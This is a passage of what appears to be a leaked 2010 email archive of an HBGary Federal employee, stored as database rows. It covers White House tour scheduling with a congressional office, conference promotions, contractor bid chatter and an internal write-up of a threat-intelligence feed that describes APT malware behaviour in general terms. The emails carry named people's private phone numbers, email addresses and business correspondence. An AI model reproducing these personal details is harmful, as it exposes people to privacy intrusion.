tour.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:&nbsp; 202.225.6231\r\n\r\nFax:&nbsp; 202.226.0112\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Olcott, Jacob \r\nSent: Wednesday, March 31, 2010 1:09 PM\r\nTo: Agarwal, Meena\r\nCc: \'Aaron Barr\'\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Meena &#8211; Aaron, can you\r\npass on to your folks?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\nSent: Wednesday, March 31, 2010 12:54 PM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJake,\r\n\r\n&nbsp;\r\n\r\nI know this is really short\r\nnotice but I have a White House tour available for Thursday, April 15 at 11.00\r\nAM.&nbsp; I would need participant names, SSNs, and DOBs for all participants\r\n(unless participants are under the age of 13 then I would not need their SSNs)\r\nby noon tomorrow.&nbsp; I am attaching the White House tour template for this\r\ninformation.&nbsp; Let me know if you have any questions!\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:&nbsp; 202.225.6231\r\n\r\nFax:&nbsp; 202.226.0112\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Olcott, Jacob \r\nSent: Thursday, March 18, 2010 10:07 AM\r\nTo: Agarwal, Meena\r\nCc: \'Aaron Barr\'\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Meena &#8211; you&#8217;re obviously\r\nthe tour guru! &nbsp;\r\n\r\n&nbsp;I&#8217;m cc&#8217;ing my friend Aaron\r\nBarr on this email to provide you with the details. (Aaron&#8217;s kids are in a\r\nclass that&#8217;s trying to get a tour &#8211; I&#8217;ll ask him to put their teacher in touch\r\nwith you.) \r\n\r\n&nbsp;\r\n\r\n-Jake\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey Jake,\r\n\r\n&nbsp;\r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn&#8217;t really matter).&nbsp; I think our office has been pretty lucky\r\nfor tours-since I started in January I&#8217;ve had 4 tours accepted.&nbsp; Go ahead\r\nand forward me her information and I&#8217;ll get in touch with her.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:&nbsp; 202.225.6231\r\n\r\nFax:&nbsp; 202.226.0112\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7594,'aaron_hbgary_com/7594.html'),(4828,'2010-03-31','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297003108.M864624P3547Q4828.eml','aaron@hbgary.com','Register Now for the 2010 LandWarNet Conference','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n	\r\n\r\n\r\n          \r\n          \r\n	\r\n		\r\nThe 2010 LandWarNet Conference: &quot;LandWarNet - Providing Global Cyber Dominance to Joint/Combined Commanders&quot; is scheduled for August 3 - August 5, 2010 at the Tampa Convention Center in Tampa, Florida. \r\nOver 6000 attendees including Government, Military and Industry representatives are expected to participate in this year\'s event!\r\nRegister Now! \r\n      \r\n      The conference will feature 8 comprehensive track sessions on the following topics: \r\n      \r\n\r\nTrack One: Joint/Combined \r\n    \r\n    Track Two: Enabling Joint Expeditionary Operations \r\n    \r\n    Track Three: Strengthening Cyperspace Operations Through Improved NETOPS \r\n    \r\n    Track Four: Global Network Enterprise Construct\r\n    \r\n  Track Five: Information Assurance - The Defender\'s Challenge \r\n  \r\n  Track Six: Signal Center\r\n  \r\n  Track Seven: Army Team C4ISR \r\n  \r\n  Track Eight: Governance - IT Management at the Enterprise Level \r\n\r\n        \r\n\r\nThe Technology Showcase will feature the latest in information technology. For a current list of exhibitors, click here.\r\n    \r\n    For more information, including a detailed agenda, fees, general information and hotel reservations, visit the conference website.\r\n    \r\n  Secure online registration - Click here!\r\n  \r\n  We look forward to seeing you in TAMPA in August!\r\n  \r\n  Questions?\r\n  \r\n  Hotel: Email Tampa Bay &amp; Company \r\n  \r\n  Click here to make your hotel reservation online\r\n  \r\n  Exhibits: Email J. Spargo & Associates or call 703-631-6200\r\n  \r\n  Registration: Email J. Spargo & Associates or call 703-449-6418\r\n  \r\n  Patrons/Sponsors: Email Gina McGovern or call 703-631-6236\r\n  \r\n  All other questions: Email Terry Rogers or call 703-631-6238\r\n  \r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n',8354,'aaron_hbgary_com/8354.html'),(4829,'2010-04-01','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297003109.M179433P3547Q4829.eml','aaron@hbgary.com','Speaker Line-up for Naval IT Day, 9th Annual - April 15, 2010, Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n          \r\n           \r\n          flickr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;facebook\r\n           \r\n          twitter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LinkedIn\r\n\r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        9th Annual AFCEA NOVA\r\n        Naval IT Day\r\n        Naval Changes: Information Dominance, Capitalization \r\n        &amp; the Warfighter\r\n      April \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n      afceanova.org/navalitday\r\n      Speakers\r\n      \r\n         Hon. \r\n          Robert O. Work, Under Secretary of the Navy\r\n        Hon. \r\n          Sean J. Stackley \r\n          - Assistant Secretary of the Navy (ASN), Research, Development, and \r\n          Acquisition (RDA)\r\n        VADM \r\n          Samuel J. Locklear III, USN - Director, Navy Staff (invited)\r\n        Mr. \r\n          Robert Carey - Chief Information Officer, Department \r\n          of the Navy (DON CIO)\r\n        MajGen \r\n          George J. Allen, USMC - Director for Command, Control, \r\n          Communications &amp; Computers &amp; Chief Information Officer (Dir \r\n          C4/CIO), U.S. Marine Corps\r\n        Mr. \r\n          David W. Weddel - Deputy to the Deputy Chief of Naval \r\n          Operations, Information Dominance (N2/N6B)\r\n        Dr. \r\n          Gary Federici - Deputy Assistant Secretary of the Navy \r\n          for, Command, Control, Communications, Computers, Intelligence, Information \r\n          Operations and Space (DASN C4I/IO/Space)\r\n        RDML \r\n          Margaret D. &quot;Peg&quot; Klein, USN - Director of \r\n          Global Operations Officer, Naval Network Warfare Command (NETWARCOM)\r\n        BGen \r\n          David H. Berger, USMC - Director, Operations Division, \r\n          Headquarters, U.S. Marine Corps\r\n        Mr. \r\n          Charles E. Cook - Assistant Deputy Commandant; &amp; \r\n          Deputy Director, Programs Division, Programs and Resources Department\r\n        Mr. \r\n          John D. Burrow - Executive Director, Marine Corps Systems \r\n          Command (MARCORSYSCOM)\r\n        Mr. \r\n          Mark Andress - Director, Knowledge Dominance, OPNAV \r\n          N2/6\r\n        CAPT \r\n          John Pope, USN - Acting Program Executive Officer, Command, \r\n          Control, Communications &amp; Intelligence (PEO C4I)\r\n        CAPT \r\n          Jim Hirst, USN - Deputy Commander, Space Field Activity \r\n          (SSFA), Space and Naval Warfare Systems Command (SPAWAR)\r\n      \r\n      About \r\n        the Conference\r\n      Now in its \r\n        9th Year, AFCEA NOVA\'s Naval IT Day is the only event in the Greater Washington \r\n        area where all of the IT Leadership of the Department of Navy (Navy and \r\n        Marine Corps) gathers to provide insight into current needs, programs, \r\n        and future initiatives. \r\n      Since the \r\n        last Naval IT Day, there have been several significant structural changes \r\n        that will have far-reaching effects on policy, operations, capitalization \r\n        and personnel. These structural changes include the consolidation of Navy \r\n        Sponsorship for Intelligence and C4 into OPNAV N2/N6, and the stand-up \r\n        of the U.S. Cyber Command at Fort Meade, with both Navy and Marine Corps \r\n        component commanders. \r\n      More than \r\n        ever, Information Dominance is paramount to our warfighters. Understanding \r\n        how these structural changes will improve the Department\'s ability to \r\n        achieve Information Dominance is essential. \r\n      These Senior \r\n        Naval leaders will share their vision and plans for embracing technology \r\n        that addresses Dominance at Sea and Ashore. They will highlight the need \r\n        to acquire / develop / deploy superiority for our U.S. Navy and Marine \r\n        Corps forces, wherever they are deployed in the hostile world of today. \r\n        \r\n      Senior military \r\n        and civilian personnel will go into great detail to impart their vision, \r\n        requirements, and strategies to our audience. Additionally, during a high \r\n        power afternoon Acquisition Panel, leaders will address near-term implementation \r\n        efforts with direct impact on industry, giving a window on how to best \r\n        use IR&amp;D funds to support the Department&rsquo;s objectives, and offering \r\n        insight to potential business opportunities. Information Technology is \r\n        ever increasing within the military as a major driver in support of the \r\n        warfighter, and with knowledge gained from this Naval IT Day, industry \r\n        can be a critical partner in providing those solutions. You will not want \r\n        to miss this opportunity to learn about Navy and Marine Corps direction \r\n        within this important topic of Information Dominance &ndash; the key enabler \r\n        to ensure we prevail in conflict. \r\n      As with every \r\n        AFCEA NOVA IT Day, there will also be an impressive small business program \r\n        running parallel to the main stage of speakers; exhibits from Major Commands \r\n        on display in the Foyer &amp; Jr. Ballroom; and, great networking with \r\n        Naval leadership and the many industry organizations in attendance. You \r\n        will not find a better environment to encounter partners with a mutual \r\n        commitment to our Naval Services and the future of our country.\r\n      Register \r\n        to Sponsor Naval IT Day\r\n      Register \r\n        to Attend Naval IT Day\r\n      For \r\n        more Information Contact Conference Director:\r\n        Martin Haley, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Navy \r\n          &amp; Marine Command display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Town Hall \r\n          Meetings - runs in the morning and afternoon respectively, \r\n          parallel to the full conference\r\n          \r\n      \r\n      Special \r\n        Thanks to the Committee Leadership:\r\n      \r\n        AFCEA \r\n          NOVA IT Days Chair - Chuck Corjay\r\n        AFCEA \r\n          NOVA IT Days Deputy Chair - General Bruce Bohn (USAF, Ret)\r\n        Naval \r\n          IT Day Honorary Co-Chair - Admiral John Gauss (USN, Ret)\r\n        Naval \r\n          IT Day Honorary Co-Chair - General Ron Beckwith (USMC, Ret)\r\n        Naval \r\n          IT Day Honorary Co-Chair - Admiral Tony Lengerich (USN, Ret)\r\n        Naval \r\n          IT Day Honorary Co-Chair - General Dave Papak (USMC, Ret)\r\n        Naval \r\n          IT Day Honorary Co-Chair - Admiral Jerry Tuttle (USMC, Ret)\r\n        Naval \r\n          IT Day Program Committee Chair - Richard Robey (USN, Ret)\r\n        Naval \r\n          IT Day Small Business Chair - Bernie Corjay\r\n        Naval \r\n          IT Day Sponsorship Chair - Linda Baldwin\r\n        Naval \r\n          IT Day Exhibits Chair - Greg Gorman\r\n        Naval \r\n          IT Day Logistics Chair - Alexi Bustillo\r\n      \r\n      &nbsp;\r\n    &nbsp;\r\n    \r\n      \r\n        \r\n           \r\n            \r\n                 \r\n                  NAVAL \r\n                      IT Day Links\r\n                \r\n              \r\n          \r\n           \r\n            \r\n                 \r\n                   - \r\n                      About Naval IT Day\r\n                      - \r\n                      Speakers\r\n                      - Sponsors\r\n                      - Venue \r\n                      &amp; Directions\r\n                      - Registration\r\n                    \r\n                \r\n              \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Premiere Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n\r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Gold Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n\r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                Early Small Business \r\n                  Silver Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n \r\n    \r\n      &nbsp;\r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',9684,'aaron_hbgary_com/9684.html'),(4830,'2010-04-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003109.M538968P3547Q4830.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>,\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: quick question about WH tours','Wow thank you both for thinking of our school!  Unfortunately we are on spring break so there isn&#39;t a way for me to pull it together in time.Meena, I believe the teachers should be contacting you soon for a potential trip.\r\nThank you again,Aaron From my iPhoneOn Mar 31, 2010, at 1:09 PM, &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks Meena – Aaron, can you\r\npass on to your folks?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Wednesday, March 31, 2010 12:54 PM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nJake,\r\n\r\n \r\n\r\nI know this is really short notice\r\nbut I have a White House tour available for Thursday, April 15 at 11.00\r\nAM.  I would need participant names, SSNs, and DOBs for all participants\r\n(unless participants are under the age of 13 then I would not need their SSNs)\r\nby noon tomorrow.  I am attaching the White House tour template for this\r\ninformation.  Let me know if you have any questions!\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Olcott, Jacob \r\n\r\nSent: Thursday, March 18, 2010 10:07 AM\r\nTo: Agarwal, Meena\r\nCc: &#39;Aaron Barr&#39;\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks Meena – you’re obviously\r\nthe tour guru!  \r\n\r\n I’m cc’ing my friend Aaron\r\nBarr on this email to provide you with the details. (Aaron’s kids are in a\r\nclass that’s trying to get a tour – I’ll ask him to put their teacher in touch\r\nwith you.) \r\n\r\n \r\n\r\n-Jake\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey Jake,\r\n\r\n \r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn’t really matter).  I think our office has been pretty lucky\r\nfor tours-since I started in January I’ve had 4 tours accepted.  Go ahead\r\nand forward me her information and I’ll get in touch with her.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;White House Tour Template.xls&gt;\r\n',16396,'aaron_hbgary_com/16396.html'),(4831,'2010-04-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003109.M853925P3547Q4831.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: quick question about WH tours','Hi Jake,A thought occured to me.  Has anybody discussed something like the SBIR program but for small business integration approaches?Aaron \r\nFrom my iPhoneOn Mar 31, 2010, at 1:09 PM, &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks Meena – Aaron, can you\r\npass on to your folks?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Wednesday, March 31, 2010 12:54 PM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nJake,\r\n\r\n \r\n\r\nI know this is really short notice\r\nbut I have a White House tour available for Thursday, April 15 at 11.00\r\nAM.  I would need participant names, SSNs, and DOBs for all participants\r\n(unless participants are under the age of 13 then I would not need their SSNs)\r\nby noon tomorrow.  I am attaching the White House tour template for this\r\ninformation.  Let me know if you have any questions!\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Olcott, Jacob \r\n\r\nSent: Thursday, March 18, 2010 10:07 AM\r\nTo: Agarwal, Meena\r\nCc: &#39;Aaron Barr&#39;\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks Meena – you’re obviously\r\nthe tour guru!  \r\n\r\n I’m cc’ing my friend Aaron\r\nBarr on this email to provide you with the details. (Aaron’s kids are in a\r\nclass that’s trying to get a tour – I’ll ask him to put their teacher in touch\r\nwith you.) \r\n\r\n \r\n\r\n-Jake\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey Jake,\r\n\r\n \r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn’t really matter).  I think our office has been pretty lucky\r\nfor tours-since I started in January I’ve had 4 tours accepted.  Go ahead\r\nand forward me her information and I’ll get in touch with her.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;White House Tour Template.xls&gt;\r\n',7857,'aaron_hbgary_com/7857.html'),(4832,'2010-04-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003110.M180563P3547Q4832.eml','\"Scott Pease\" <scott@hbgary.com>,\"Michael Snyder\" <michael@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,shawn@hbgary.com','Ticker',' \r\nTicker!\r\n \r\nWe need to get the ticker working in flash.  I figure it would be 3-5 days in card form, counting getting stats from the TMC.  I may be over-estimating.  I know Michael can do it, but if we can&#39;t carve off any time we might be able to use Aaron&#39;s new guy.\r\n\r\n \r\nFlash programming and graphics: Michael or the new guy\r\nTMC data link: Martin for the database, Shawn for the IT work\r\n \r\n-Greg\r\n',729,'aaron_hbgary_com/729.html'),(4833,'2010-04-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003110.M842816P3547Q4833.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Michael Staggs\" <mj@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com','writeup for the \'Daily APT Feed\'',' \r\nTeam,\r\nPenny wants us to revive the ticker.  We are going to call it the &#39;Daily APT Feed&#39;.  When customers click on it to figure out what it is, we will direct them to the following text.  The feed itself could actually be a product that we sell alongside digital DNA (the feed would be malware sequences themselves + actionable data, not to be confused with the digital DNA genome).\r\n\r\n \r\n&lt;-- snip\r\n \r\n\r\nThe Daily APT Feed\r\nHBGary processes tens of thousands of malware samples every day using a large automated feed farm that runs our advanced tracing and memory analysis technology.  From this is calculated numerical sequences we call Digital DNA(tm).  This Digital DNA(tm) is like a hash, except its fuzzy and it&#39;s based on behaviors instead of data-bytes.  The feed results are aggregated into a link analysis system where we can track threat actors, exploitation technologies, and forensic toolmarks left by developers.  To produce the APT feed, these daily results are downfiltered against several criteria:\r\n\r\n- the malware implant is designed to hide over a long period of time\r\nFor example, the implant masquerades as a service with an innocuous sounding name.\r\n- the malware implant is designed to provide general-purpose remote administration access to a machine\r\nThis is important because APT threats generally don&#39;t know what they are looking for until they find it, and will need to download additional administration tools to support the theft of data and/or the penetration of additional machines.\r\n\r\n- the malware implant is designed to steal the credentials of additional user accounts\r\nThis is a critical step for APT threats.  They need access, period.  Additional user accounts are that access.\r\n\r\n- the malware implant scans for patterns that are related to intellectual property\r\nFor example, if the implant scans the filesystem for CAD diagrams, source code, or XLS spreadsheets.\r\nCustomers need understand that APT does not mean that malware infections will use advanced technology.  In fact, most APT malware is simple in nature - no more complicated than an average system administration tool.  The problem with APT is that a human being with funding is behind the operation.  Although you remove the malware today, the attacker will still be there tomorrow.  HBGary contends that you must understand the attacker&#39;s technology and motive in order to protect your enterprise.  The Daily APT Feed delivers constant threat intelligence on APT exploitations and remote access technology.  This information is delivered in several formats:\r\n\r\n- IDS signatures for known command-and-control protocols\r\nThis is not an IP blacklist, this is a way to detect the actual C&amp;C technology that works under the hood.  The bad guys can shift IP&#39;s in seconds, but they spend months developing their C&amp;C protocols.\r\n\r\n- Digital DNA sequences for known implants\r\nBecause these are Digital DNA sequences they are not affected by polymorphic generators and packing programs.   Multiple variants of the same malware will generate the same Digital DNA sequences.  You can use this to scan your Enterprise for infections via McAfee ePO, HBGary Active Defense, EnCase Enterprise, and Verdasys Digital Guardian.\r\n\r\n- Registry Paths used to survive reboot\r\nMost malware is designed to survive reboot.  APT implants may have hard-coded names that sound like legitimate system software.  Sometimes they use algorithms to auto-generate names.  Regardless, once an implant is recorded by HBGary, we know exactly how it installs itself to survive reboot.  This information can be used to scan your Enterprise for infected machines.  This can also be used to clean a machine from an infection.\r\n\r\n- Files dropped and used\r\nFiles may include executables that are part of an infection, and they may include log files such as keystroke logs.  These files can be used to detect potential infections.  Moreover, if you find one of these files, it may contain evidence about what is being stolen.\r\n\r\n   \r\n',14776,'aaron_hbgary_com/14776.html'),(4834,'2010-04-01','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297003111.M117202P3547Q4834.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Checking in','Hey Aaron,\r\n\r\nWe are still pulling the team together on COIN, we have a follow up\r\ndiscussion with SAIC tomorrow. I got a random report that the\r\ncompetition was cancelled, did you hear anything about this?\r\n\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 2:01 PM\r\nTo: Lovegrove, John (TASC)\r\nSubject: Checking in\r\n\r\nHey John,\r\n\r\nJust turnednin my DARPA proposal, decpressedfor a few minutes, then\r\nstarted thinking about all the other stuff going on.  What is the\r\nstatus of your COIN effort and when would you like to set up anyone to\r\ntalk about NSA?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',3134,'aaron_hbgary_com/3134.html'),(4835,'2010-04-01','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003111.M310302P3547Q4835.eml','aaron@hbgary.com','Confirm Media Interview for Wedn. April 7th @11:30 AM','\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\n',7711,'aaron_hbgary_com/7711.html'),(4836,'2010-04-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003111.M552587P3547Q4836.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Checking in','No I didn\'t.  Let me check.\r\n\r\n From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\"  wrote:\r\n\r\n> Hey Aaron,\r\n>\r\n> We are still pulling the team together on COIN, we have a follow up\r\n> discussion with SAIC tomorrow. I got a random report that the\r\n> competition was cancelled, did you hear anything about this?\r\n>\r\n>\r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n>\r\n>\r\n>\r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive\r\n> use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail\r\n> is\r\n> not the intended recipient or his or her authorized agent, the\r\n> reader is\r\n> hereby notified that any dissemination, distribution or copying of\r\n> this\r\n> e-mail is prohibited. If you think that you have received this e-\r\n> mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, March 29, 2010 2:01 PM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Checking in\r\n>\r\n> Hey John,\r\n>\r\n> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n> started thinking about all the other stuff going on.  What is the\r\n> status of your COIN effort and when would you like to set up anyone to\r\n> talk about NSA?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',2191,'aaron_hbgary_com/2191.html'),(4837,'2010-04-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003111.M855689P3547Q4837.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,','Re: Checking in','I haven\'t I will check.\r\n\r\n\r\n From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\"  